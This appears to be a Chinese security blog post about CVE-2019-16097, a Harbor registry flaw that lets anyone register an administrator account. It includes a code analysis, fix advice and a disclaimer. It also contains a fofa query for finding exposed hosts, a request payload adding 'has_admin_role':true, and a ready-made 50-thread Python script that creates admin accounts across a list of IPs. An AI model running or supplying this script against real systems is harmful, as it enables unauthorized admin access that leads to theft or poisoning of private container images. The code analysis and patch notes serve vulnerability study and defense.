目录

  • 0x01 前言
  • 0x02 漏洞简介及危害
  • 0x03 漏洞复现
  • 0x04 代码分析
  • 0x05 批量脚本
  • 0x06 修复建议
  • 0x07 免责声明

0x01 前言

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制,镜像全部保存在私有Registry中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。


0x02 漏洞简介及危害

因注册模块对参数校验不严格,可导致任意管理员注册。

文档名称 Harbor权限提升漏洞安全预警通告
关键字 Harbor、CVE-2019-16097
发布日期 2019年09月19日
危及版本 Harbor 1.7.6之前版本 Harbor 1.8.3之前版本

Harbor 1.7.6之前版本和Harbor 1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若开放注册功能,攻击者可利用该漏洞创建admin账户。注册功能默认开放。攻击者可以以管理员身份下载私有项目并审计;可以删除或污染所有镜像。

目前PoC已公开,建议受影响的客户尽快升级。


0x03 漏洞复现

使用fofa语法搜索

title="Harbor" && country=CN


找到注册页面


点击注册抓包,改包,在最后数据包加上:

"has_admin_role":true


修改成功,成功添加账号密码。并登陆成功!


0x04 代码分析

声明:代码分析来着奇安信团队,原文地址:【预警通告】Harbor权限提升漏洞安全预警通告

分析代码的commit hash为e7488e37b69319fa9dcbaab57499bec5c8aed08a,此commit中尚未包含补丁。受影响的API请求地址是/api/users/,请求方式为POST,因此从API的路由中找到入口点,位置在src/core/router.go50行:


可以看到其将此POST请求路由到了api.UserAPI中,找到api.UserAPI的处理POST请求的位置在src/core/api/user.go的302行,跟进代码,发现其先后判断认证方式,是否开启自行注册(默认开启)然后实例化了User结构体:

我们先来看一下User结构体,位置在src/common/models/user.go 25行:

注意其中HasAdminRole字段对应的数据库表现形式和JSON请求表现形式。其在数据库中的字段表现形式为sysadmin_flag,JSON表现形式为has_admin_role

再继续跟入,后面的过程依次是,反序列化请求JSON串为User结构体,验证用户提交的User格式是否正确(用户名规范和密码规范)判断用户名和email字段是否已存在,然后直接调用数据库访问层的dao.Register()方法执行数据库插入的操作:


跟入dao.Register()方法中,位置在src/common/dao/register.go26行,可以看到其直接将User结构体的HasAdminRole字段插入到数据库

在github上进行commitdiff(https://github.com/goharbor/harbor/pull/8917/commits/b6db8a8a106259ec9a2c48be8a380cb3b37cf517#diff-fb70049a82e5abd89a68c8e2cccba44c)对比,可以看到此次提交对注册用户的请求进行了逻辑判断,不允许非管理员用户创建新的管理员用户。


0x05 批量脚本

脚本来源于T9sec team

import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor

def exp(url):
    url = url + '/api/users'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/json',
        }
    payload = {
        "username": "test1",
        "email": "test1@qq.com",
        "realname": "test1",
        "password": "Aa123456",
        "comment": "test1",
        "has_admin_role": True
        }
    payload = json.dumps(payload)
    try:
        requests.packages.urllib3.disable_warnings()
        r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
        if r.status_code == 201:
            print(url)
    except Exception as e:
        pass

if __name__ == '__main__':
    data = open('ip.txt') # 批量IP
    reader = csv.reader(data)
    # 50是线程
    with ThreadPoolExecutor(50) as pool:
        for row in reader:
            if 'http' not in row[0]:
                url = 'http://' + row[0]
            else:
                url = row[0]
            pool.submit(exp, url)

0x06 修复建议

升级到1.7.6及以上版本或者1.8.3及以上版本

临时缓解方案:

关闭允许自行注册功能(Allow Self-Registration)


0x07 免责声明

本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

点击收藏 | 1 关注 | 1
登录 后跟帖